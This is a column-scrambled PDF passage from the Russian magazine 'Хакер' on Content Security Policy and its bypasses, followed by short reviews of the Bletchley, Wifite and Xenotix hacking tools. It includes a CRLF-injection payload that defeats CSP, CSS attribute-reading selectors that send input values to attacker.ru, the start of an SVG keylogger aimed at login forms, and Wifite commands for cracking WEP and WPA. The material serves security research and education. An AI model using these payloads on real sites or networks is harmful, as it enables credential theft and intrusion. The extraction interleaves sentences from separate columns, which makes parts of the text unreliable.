книги хакеры / журнал хакер / 177_Optimized

CONTENT SECURITY POLICY VS SAME ORIGIN POLICY

используется стандартный заголовок (Content-Security-Policy).

Одним из главных принципов безопасности браузеров и веба

В Internet Explorer по традиции все печально: CSP работает

в целом является Same Origin Policy — дословно «политика

только с версии 10.0 и в очень урезанном виде.

единого источника» (устоявшегося термина до сих пор не су-

КАК РАБОТАЕТ CSP

ществует). Ее суть заключается в проверке трех компонентов,

из которых состоит origin: протокол, хост и порт. Если страница

Арсений Реутов

Главный смысл CSP в том, чтобы позволить разработчикам

http://test1.ru/a.html пытается получить доступ к DOM страни-

raz0r.name,

сайтов в явном виде объявить белый список источников, отку-

цы http://test2.ru/b.html, то у нее ничего не выйдет, так как хо-

areutov@ptsecurity.ru

да могут быть загружены данные для разных типов ресурсов.

сты отличаются. Если бы SOP не существовал, любой сайт мог

Принцип «что не разрешено, то запрещено» позволяет сни-

бы делать запросы на произвольные адреса и получать оттуда

зить риск обхода политики. CSP дает возможность определить

данные, что, как подсказывает логика, не есть хорошо. Причем

разрешенные списки с помощью следующих директив: script-

страдали бы все: как пользователи, чьи персональные данные

src, font-src, frame-src, img-src, media-src, object-src, style-src.

летали бы без принуждения, так и владельцы ресурсов, — в об-

Как нетрудно догадаться, script-src задает вайт-лист значений

щем, в вебах творился бы полный хаос. Поэтому Same Origin

для атрибута src тега <script>, frame-src — тега <frame>, media-

Policy всех спасает, и все счастливы. Однако есть одно но: что,

src — <video> и <audio> и так далее. Кроме того, есть директива

если на страницу http://test1.ru/a.html внедрен злой скрипт

default-src, которая имеет силу, когда директива для конкретно-

с сайта http://test2.ru/, который делает плохие штуки в контек-

го типа ресурса не объявлена.

сте браузера жертвы? В данном случае SOP бесполезен, ибо

Имеется четыре ключевых слова, которые, помимо URL, мо-

на <script src=″...″> политика не распространяется. Что же

гут быть использованы в качестве источника:

делать?

• self означает текущий origin (протокол, хост, порт);

CSP ДЛЯ ВСЕХ

• none — запрещает все;

• unsafe-inline — разрешает использование «инлайн» JS-

На помощь приходит новый стандарт — Content Security Policy,

скриптов, то есть кода в теге <script> прямо на странице;

основное предназначение которого состоит в том, чтобы за-

также имеет аналогичное значение для тега <style> и CSS-

щитить пользователя от угроз межсайтового выполнения сце-

свойств;

нариев. Изначальный вариант спецификации был разработан

• unsafe-eval — разрешает выполнение JavaScript-кода

в Mozilla Foundation. Первым браузером с поддержкой CSP стал

как строки с помощью функций eval, setTimeout и setInterval.

Firefox 4.0, который вышел в марте 2011 года. С конца 2012 года

CSP 1.0 находится в W3C на стадии принятия как веб-стандарта.

Помимо прочего, могут использоваться вайлдкарды для лю-

На данный момент разрабатывается спецификация CSP 1.1.

бой части URL, например *://test.ru:* применяет политику

Согласно статистике сайта statcounter.com, на момент написа-

для хоста test.ru с любым протоколом и портом.

ния статьи полную поддержку Content Security Policy имели бо-

Чтобы лучше понять, как работает CSP, рассмотрим такой

лее 60% браузеров по всему миру.

пример. Страница http://test.ru/a.html задает следующую по-

Флагманами выступают Firefox и Chrome, которые раньше

Тест CSP в Chrome 28

литику с помощью HTTP-заголовка (также возможно использо-

всех внедрили реализацию CSP в качестве экспериментальной

вать тег <meta>):

фичи и с недавнего времени перешли на полную поддержку.

HTTP/1.0 200 OK

В техническом плане это означает, что директивы CSP помеща-

Мобильный Twitter

лись во временный HTTP-заголовок с префиксом (X-Content-

одним из первых стал

Content-Security-Policy: default-src 'self';

Security-Policy в Firefox и X-WebKit-CSP в Chrome), а сейчас

использовать CSP

script-src http://cdn.test.ru http://ajax.

googleapis.com; img-src http://cdn.test.ru;

</script>

style-src http://cdn.test.ru

<script>

Content-Length: 4242

alert("not allowed");

Connection: close

</script>

В данном случае CSP разрешает выполнение скриптов толь-

Очевидно, что такой подход не поможет защититься от слу-

ко с хостов cdn.test.ru и ajax.googleapis.com, загрузку изобра-

WWW

чаев, когда у атакующего есть возможность внедрить код

жений и стилей — с cdn.test.ru, для остальных типов ресурсов

в скрипт с валидным токеном. Кроме того, есть масса вариан-

определен кейворд self, например отправка AJAX-запросов

Отличный вводный

тов обхода, о чем пойдет речь ниже.

(connect-src) разрешена только на текущий origin.

материал по CSP:

CRLF INJECTION

Если атакующий имеет XSS и попытается вставить скрипт

is.gd/KLbWo6

со своего сайта, то браузер заблокирует его выполнение и вы-

При наличии CRLF-инъекции в заголовках ответа, то есть от-

ведет в консоль сообщение следующего вида:

Таблица совместимости

сутствии фильтрации символа переноса строки, у атакующего

Refused to load the script 'http://attacker.ru/

CSP в различных браузе-

есть возможность банального обхода CSP с помощью внедре-

рах: is.gd/gxscYa

ния собственных директив. Здесь большую роль играет то,

xss.js' because it violates the following Content

какой заголовок браузер будет использовать при наличии не-

Security Policy directive: "script-src http://cdn.

Исследование scriptless-

скольких с одинаковым именем. Как в случае с HTTP Parameter

test.ru http://ajax.googleapis.com".

атак от Марио Хайдери-

Pollution, где одинаковые имена параметров обрабатываются

ха: is.gd/bvfOkr

по-разному на разных платформах, при внедрении еще одного

А теперь, когда кажется, что все прекрасно, самое время по-

заголовка Content-Security-Policy важно, где он окажется — пе-

говорить об ограничениях CSP, которые могут привести к обхо-

Статья по scriptless-

ред первоначальным или после него, так как один браузер мо-

ду политики.

техникам от Михала

жет взять последний заголовок, а другой — первый. Так, если

ОГРАНИЧЕНИЯ CSP

Залевски: is.gd/URr9qT

браузер отдает приоритет первому и мы внедряем наш CSP

перед настоящим, то обход тривиален:

С позиции веб-разработчика правильно и грамотно развер-

Демо и презентации

HTTP/1.1 200 OK

нуть CSP на своем ресурсе довольно проблематично, так

по CSS-атакам:

как для каждой страницы необходимо устанавливать отдельную

p42.us/css

Set-Cookie: language=ru;

политику. В настройке CSP ему может помочь такая директива,

Content-Security-Policy: script-src

как report-uri, с помощью которой он может получать от браузе-

'unsafe-inline' *

ра информацию о всех нарушениях политики. Отчет о наруше-

Content-Security-Policy: default-src 'self'

нии CSP может выглядеть следующим образом:

{

Если же используется последний встреченный заголовок,

то мы можем отправить его в тело страницы, отправив \r\n\r\n:

"csp-report": {

"document-uri": "http://test.ru/a.html",

ru;\r\nContent-Security-Policy: script-src

"referrer": "http://test.ru/",

'unsafe-inline' *\r\n\r\n

"blocked-uri": "http://attacker.ru/xss.js",

"violated-directive": "script-src http://cdn.

На выходе получим:

test.ru http://ajax.googleapis.com",

"original-policy": "script-src http://cdn.test.

HTTP/1.1 200 OK

ru http://ajax.googleapis.com; report-uri

Set-Cookie: language=ru;

/csp_report_parser"

Content-Security-Policy: script-src

}

'unsafe-inline' *

}

Content-Security-Policy: default-src 'self'

Получая отчеты, разработчик решает, какие источники нуж-

…

но разрешить, и соответствующим образом обновляет полити-

ку — вручную либо с помощью специальных средств. Например,

Таким образом, первоначальный заголовок попадет в со-

для Ruby есть gem от компании Twitter — secureheaders (https://

держание HTTP-ответа и не будет иметь силы.

github.com/twitter/secureheaders), позволяющий не только на-

SCRIPTLESS ATTACKS

строить CSP, но и установить другие модные заголовки, вроде

X-XSS-Protection, X-Content-Type-Options и другие.

Перейдем к более интересным вариантам обхода — на стороне

Все бы хорошо, но почти в 100% случаев разработчик стол-

клиента. Основная цель межсайтового скриптинга — получить

кнется с проблемой инлайн-скриптов. Дело в том, что CSP 1.0

приватную информацию пользователя, которая обычно хра-

может либо полностью разрешить их, либо запретить, третьего

нится в cookie. Однако с введением таких мер защиты, как флаг

не дано. Стандарт рассматривает инлайн-скрипты как боль-

httpOnly, запрещающий JS-скриптам доступ к защищаемым

шое зло, однако полностью отказаться от них в угоду CSP

cookie, внедрением в браузеры XSS-фильтров (XSS Auditor

на обычном сайте, на котором заранее не планировалось раз-

в Chrome, XSSFilter в IE), собственно и самого CSP, исследовате-

ворачивать CSP, едва ли удастся. Поэтому, указав в script-src

ли безопасности все чаще обращают внимание на другие цели,

'unsafe-inline', разработчик автоматически открывает все двери

например личные данные, различного рода токены (CSRF, oAuth,

для атакующего.

в скором будущем и script-nonce). При этом используются новые

В разрабатываемой на данный момент спецификации

способы отправки данных на сторонние сайты, без JavaScript!

CSP 1.1 есть частичное решение для этой проблемы — директи-

CSSAR

ва script-nonce, которая позволяет задать некое уникальное зна-

чение-токен для всех разрешенных скриптов. Таким образом,

Еще в 2008 году Эдуардо Вела (Eduardo Vela), Дэвид Линд-

блокируются не все инлайн-скрипты, а только неизвестные:

сей (David Lindsay) и Гарет Хейес (Gareth Heyes) представили

<script nonce="9cdfb439c7876e703e307864c9167a15">

технику чтения атрибутов тегов с помощью CSS-селекторов.

Нарушение CSP в кон-

На данный момент техника все так же актуальна. Если рань-

alert("allowed");

соли Chrome

ше она позиционировалась как обход NoScript, то сейчас ее

можно использовать и для CSP. Суть CSSAR (CSS Attribute

Reading) в брутфорсе значений с помощью селекторов атрибу-

тов. Для этого на уязвимую страницу подключается CSS-файл

с комбинациями выражений:

Если значение целевого инпута начинается с «a», то будет

ваниях Марио Хайдериха (Mario Heiderich). Один из них играет

отправлен запрос на сайт атакующего через подгрузку фоново-

CSSAR в действии

роль настоящего кейлоггера при помощи тегов <svg> и <set>.

го изображения, относящегося к соответствующей комбинации

Официальная и документированная W3C-фича accessKey

символов. CSS не имеет возможности указать позицию симво-

внутри <set> позволяет привязать нажатия клавиш к иниции-

ла, поэтому для получения следующего знака необходимо сге-

Кейлоггер без строчки

рованию HTTP-запросов — идеально для реализации кейлог-

нерировать массу вариантов вида

JS

гера, причем без использования JS! Внедрив следующий код

inputvalue^=aa ( {background:

на страницу с формой авторизации, можно перехватить нажа-

тия клавиш пользователя и, соответственно, логин и пароль:

url(http://attacker.ru/?aa)}

<svg height="0px">

Поэтому конечный PoC может иметь объем в несколько сотен

<image xmlns:xlink="http://www.w3.org/1999/xlink"

килобайтов.

xlink:href="none">

<set attributeName="xlink:href"

Автор: Timothy

Автор: Derv Merkler

Автор: Ajin Abraham

Morgan

URL: https://code.

URL: goo.gl/GGTZNA

URL: https://code.

google.com/p/wifite

Система: Windows

google.com/p/

Система: Linux

bletchley

Система: Windows/

Linux

1

2

3

КРИПТА

WIFITE V2

ВСЕ ЛЮБЯТ XSS

Если в приложении используется криптография,

Wi-Fi-сети сейчас окружают нас везде: дома,

Встречай новый проект от OWASP под названием

надо проверить, насколько правильно она реали-

на работе, в кафе, гостинице. Их стало очень

Xenotix XSS Exploit Framework. Данный инстру-

зована (огромное количество разработчиков за-

много, а людей, разбирающихся в грамотной на-

мент представляет собой фреймворк для поиска

ново изобретают велосипед и пишут свою реали-

стройке, так много не становится. В итоге получа-

и эксплуатации Cross Site Scripting уязвимостей.

зацию AES, естественно с кучей ошибок). С этой

ем идеальное пространство для атаки.

Для исключения ложных срабатываний из скани-

задачей часто приходится работать как при ис-

Wifite — это программа, написанная на Python

рования Xenotix использует встроенный сканер

следовании софта, так и при играх в CTF.

и предназначенная для атак на беспроводные

и три различных движка: Trident, WebKit и Gecko.

Bletchley представляет собой набор Python-

сети, защищенные WEP, WPA или WPS. Приложе-

На текущий момент инструмент имеет более 1500

инструментов, который может серьезно помочь

ние работает в консольном режиме (в последней

полезных нагрузок для обнаружения XSS и обхо-

в криптоанализе. Набор состоит из следующих

GUI-режим убрали). Особенности утилиты:

да WAF. При этом также реализован модуль сбора

консольных утилит:

• одновременная атака нескольких сетей;

информации для разведывательно-подготови-

•

bletchley-analyze — анализирует файл с за-

• последовательность взлома по уровню сиг-

тельных работ.

шифрованной информацией и пытается де-

нала;

В наличии есть атакующий XSS-модуль, ко-

кодировать и идентифицировать

полезные

•

автоматическая деаутентификация клиентов

торый может быть полезен в тестах на проник-

паттерны при криптоанализе;

для определения скрытого SSID сети;

новение и создании proof of concept. Выделю

• bletchley-encode —

простой инструмент

• фильтры для определения цели;

наиболее интересные

возможности,

которые

для кодирования произвольных данных, ис-

• автоматическая смена MAC при атаке;

предоставляет данный фреймворк:

пользует цепочку энкодеров;

• запись всех WPA handshakes в текущую дирек-

•

угон cookie;

• bletchley-decode — инструмент, выполняющий

торию;

•

phisher;

действия, обратные предыдущему инстру-

•

WPA-деаутентификация;

•

tabnabbing;

менту;

• возможность приостановки и возобновления

•

keylogger;

•

bletchley-http2py — парсит HTTP-запрос (из

атаки;

•

HTML5 DDoSer;

stdin или файла) и генерирует Python-скрипт

• интеграция с reaver для взлома WPS.

•

Executable Drive-by;

для отправки тех же или измененных данных;

•

JavaScript Shell;

• bletchley-nextrand — вычисляет состояние эк-

Пример запуска на взлом всех точек доступа,

•

reverse HTTP WebShell;

земпляра Java Random class, получив два по-

защищенных WEP:

•

Drive-by Reverse Shell;

следовательных значения от nextInt().

./wifite.py -all -wep

•

Metasploit Browser Exploit.

Также доступны три Python-библиотеки, кото-

Не стоит забывать о множестве режимов ска-

рые могут быть весьма полезны. Blobtools может

Для взлома WPS хендшейка по словарю

нирования: полностью ручной, автоматический,

быть использована для автоматического опреде-

mydict.lst:

DOM-сканер, сканер POST-запросов, сканер за-

ления наиболее вероятного алгоритма кодиро-

./wifite.py -all --dict /pentest/

головков, фаззер и даже сканер скрытых параме-

вания; buffertools содержит набор инструментов

тров.

для манипулирования

двоичными

буферами

passwords/wordlists/mydict.lst

Также нельзя не выделить целый набор аддо-

шифрованного текста; CBC содержит различные

нов, заточенных под Firefox: Reverse Shell, Session

инструменты для проведения атак на данные, за-

Для корректной работы нужен установленный

Stealer, Keylogger, Linux

Credential File

Stealer

шифрованные с помощью блочного шифра CBC.

aircrack-ng.

и Download and Execute.